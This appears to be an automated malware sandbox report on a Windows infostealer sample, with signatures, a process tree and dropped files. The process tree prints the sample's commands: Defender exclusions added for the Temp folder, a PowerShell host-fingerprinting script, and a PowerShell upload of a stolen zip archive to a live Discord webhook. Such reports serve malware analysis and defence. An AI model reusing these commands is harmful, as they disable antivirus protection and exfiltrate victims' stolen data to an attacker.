Analysis
- max time kernel
149s - max time network
132s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 09:26
General
- Target 5bd1f26001082fb7888e986fd6b60df09d4ef91e438741dce7a2fe937644c764.exe
- Size 1.5MB
- Sample260910-lep23san4s
- SHA256 5bd1f26001082fb7888e986fd6b60df09d4ef91e438741dce7a2fe937644c764
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Runs net.exe
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\5bd1f26001082fb7888e986fd6b60df09d4ef91e438741dce7a2fe937644c764.exe"C:\Users\Admin\AppData\Local\Temp\5bd1f26001082fb7888e986fd6b60df09d4ef91e438741dce7a2fe937644c764.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exe"net" session2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵
-
-
-
C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -Path C:\Users\Admin\AppData\Local\Temp\2⤵
-
-
C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -Path C:\Users\Admin\AppData\Local\Temp2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -NoProfile -ExecutionPolicy Bypass -Command " $os = (Get-CimInstance Win32_OperatingSystem).Caption $cpu = (Get-CimInstance Win32_Processor).Name $mem = [math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1MB) $gpu = (Get-CimInstance Win32_VideoController).Name -join '; ' $user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name $host = $env:COMPUTERNAME $arch = (Get-CimInstance Win32_Processor).Architecture $ip = (Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias * -ErrorAction SilentlyContinue | Where-Object { $_.IPAddress -notlike '127.*' }).IPAddress -join ',' $admin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) $webcam = (Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' }).Count -gt 0 \"$os`n$cpu`n$mem`n$gpu`n$user`n$host`n$arch`n$ip`n$admin`n$webcam\" "2⤵
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -NoProfile -ExecutionPolicy Bypass -Command " Add-Type -AssemblyName System.Net.Http $ErrorActionPreference = 'Stop' $code = 0 try { $filePath = 'C:\Users\Admin\AppData\Local\Temp\rustrust_CUFERXWN.zip' $fileName = Split-Path $filePath -Leaf $handler = New-Object System.Net.Http.HttpClientHandler $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [System.TimeSpan]::FromSeconds(100) $content = New-Object System.Net.Http.MultipartFormDataContent $fileStream = [System.IO.File]::OpenRead($filePath) $streamContent = New-Object System.Net.Http.StreamContent($fileStream) $streamContent.Headers.ContentType = New-Object System.Net.Http.Headers.MediaTypeHeaderValue('application/octet-stream') $content.Add($streamContent, 'file', $fileName) $resp = $client.PostAsync('https://discord.com/api/webhooks/1533574337486000178/wyu2dpSxtRk7W3Tiku2mZg630jnzS239ItK-JycyQU4F1yasLvDbNSC0xiHyPrSwoOF3', $content).GetAwaiter().GetResult() $code = [int]$resp.StatusCode $fileStream.Dispose() $client.Dispose() Write-Output $code } catch { $msg = $_.Exception.Message if ($_.Exception.InnerException) { $msg = $_.Exception.InnerException.Message } Write-Output (\"ERR:\" + $msg) } "2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Time Discovery
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
MpCmdRun.log
__PSScriptPolicyTest_l1mrloue.r5u.ps1
rustrust_CUFERXWN.zip
memory/2940-18-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp
memory/2940-21-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp
memory/2940-10-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp
memory/2940-14-0x000001636D4A0000-0x000001636D552000-memory.dmp
memory/2940-13-0x000001636D480000-0x000001636D49E000-memory.dmp
memory/2940-15-0x000001636D560000-0x000001636D56A000-memory.dmp
memory/2940-17-0x000001636DA00000-0x000001636DA24000-memory.dmp
memory/2940-16-0x000001636DA00000-0x000001636DA2A000-memory.dmp
memory/2940-8-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp
memory/2940-19-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp
memory/2940-20-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp
memory/2940-9-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp
memory/2940-22-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp
memory/2940-23-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp
memory/2940-24-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp
memory/2940-25-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp
memory/2940-7-0x00000163552B0000-0x00000163552D2000-memory.dmp
memory/2940-28-0x000001636DA20000-0x000001636DA3E000-memory.dmp
memory/2940-30-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp
memory/2940-4-0x00007FFDE3D90000-0x00007FFDE4734000-memory.dmp
memory/2940-3-0x00007FFDE3F1F000-0x00007FFDE3F20000-memory.dmp